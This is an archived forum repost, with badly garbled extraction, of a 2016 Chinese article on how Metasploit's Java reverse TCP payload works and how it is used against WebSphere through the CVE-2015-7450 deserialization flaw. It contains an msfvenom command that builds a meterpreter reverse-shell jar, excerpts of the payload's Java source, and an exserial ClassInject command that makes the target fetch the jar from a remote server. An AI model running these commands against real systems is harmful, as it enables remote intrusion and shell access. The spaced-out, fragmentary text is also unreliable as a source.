[9818] 2016-02-16_Metasploit中的JAVA反向TCP做法的研究

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2016-02-16_Metasploit中的JAVA反向TCP做法的研究 M e t a s p l o i t J A V A T C P T o n y   L e e   F r e e B u f   2 0 1 6 - 0 2 - 1 6 C V E - 2 0 1 5 - 7 4 5 0 J A V A W e b S p h e r e w g e t c u r l h t t p 使 A I X G o o g l e 使 m e t a s p l o i t s h e l l 1 . m e t a s p l o i t m e t a s p l o i t m e t a s p l o i t 2 . m e t a s p l o i t J A V A T C P ,
T C P T C P 3 . m e t a s p l o i t J A V A T C P m s f v e n o m   - - p a y l o a d = " j a v a / m e t e r p r e t e r / r e v e r s e _ t c p "   L H O S T = x x x . x x x . x x x . x x x   L P O R T = x x x x   - t   j a r   >   j a v a _ m e t e r p r e t e r _ r e v e r s e _ t c p . j a r I P m e t a s p l o i t L H O S T L P O R T

4 . m e t a s p l o i t J A V A T C P 1 0 J A V A 退 J A V A S H E L L P r o c e s s   p r o c   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( n e w   S t r i n g [ ] {                                             g e t J r e E x e c u t a b l e ( " j a v a " ) ,                                         " - c l a s s p a t h " ,                                         t e m p D i r . g e t A b s o l u t e P a t h ( ) ,                                         c l a z z . g e t N a m e ( )                         } ) ;                         / /   t h e   i n p u t   s t r e a m s   m i g h t   c a u s e   t h e   c h i l d   p r o c e s s   t o   b l o c k   i f                         / /   w e   d o   n o t   r e a d   o r   c l o s e   t h e m                         p r o c . g e t I n p u t S t r e a m ( ) . c l o s e ( ) ;                         p r o c . g e t E r r o r S t r e a m ( ) . c l o s e ( ) ;                         / /   g i v e   t h e   p r o c e s s   p l e n t y   o f   t i m e   t o   l o a d   t h e   c l a s s   i f   n e e d e d                         T h r e a d . s l e e p ( 2 0 0 0 ) ; j a v a   - j a r   j a v a _ m e t e r p r e t e r _ r e v e r s e _ t c p . j a r
R u n t i m e 退 m e t a s p l o i t B r a v o , A g a i n . i f   ( u r l . s t a r t s W i t h ( " r a w : " ) )                                             / /   f o r   d e b u g g i n g :   j u s t   u s e   r a w   b y t e s   f r o m   p r o p e r t y   f i l e                                         i n   =   n e w   B y t e A r r a y I n p u t S t r e a m ( u r l . s u b s t r i n g ( 4 ) . g e t B y t e s ( " I S O - 8 8 5 9 - 1 " ) ) ;                                 e l s e   i f   ( u r l . s t a r t s W i t h ( " h t t p s : " ) )   {                                         U R L C o n n e c t i o n   u c   =   n e w   U R L ( u r l ) . o p e n C o n n e c t i o n ( ) ;                                         / /   l o a d   t h e   t r u s t   m a n a g e r   v i a   r e f l e c t i o n ,   t o   a v o i d   l o a d i n g                                         / /   i t   w h e n   i t   i s   n o t   n e e d e d   ( i t   r e q u i r e s   S u n   J a v a   1 . 4 + )                                         C l a s s . f o r N a m e ( " m e t a s p l o i t . P a y l o a d T r u s t M a n a g e r " ) . g e t M e t h o d ( " u s e F o r " ,   n e w   C l a s s [ ] { U R L C o n n e c t i o n . c l a s s } ) . i n v o k e ( n u l l , n e w   O b j e c t [ ] { u c } ) ;                                         i n   =   u c . g e t I n p u t S t r e a m ( ) ;                                 }   e l s e                                         i n   =   n e w   U R L ( u r l ) . o p e n S t r e a m ( ) ;                                 o u t   =   n e w   B y t e A r r a y O u t p u t S t r e a m ( ) ;   m e t a s p l o i t 5 . W e b S p h e r e j a r u r l j a v a   - j a r   e x s e r i a l . j a r   C l a s s I n j e c t   " h t t p : / / m y s e r v e r . c o m / j a v a _ m e t e r p r e t e r _ r e v e r s e _ t c p . j a r "   " m e t a s p l o i t . P a y l o a d "   >   d e m o 3 . s e r J A V A W e b S p h e r e A p a c h e * t o n y l e e . n a m e   T o n y   L e e

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则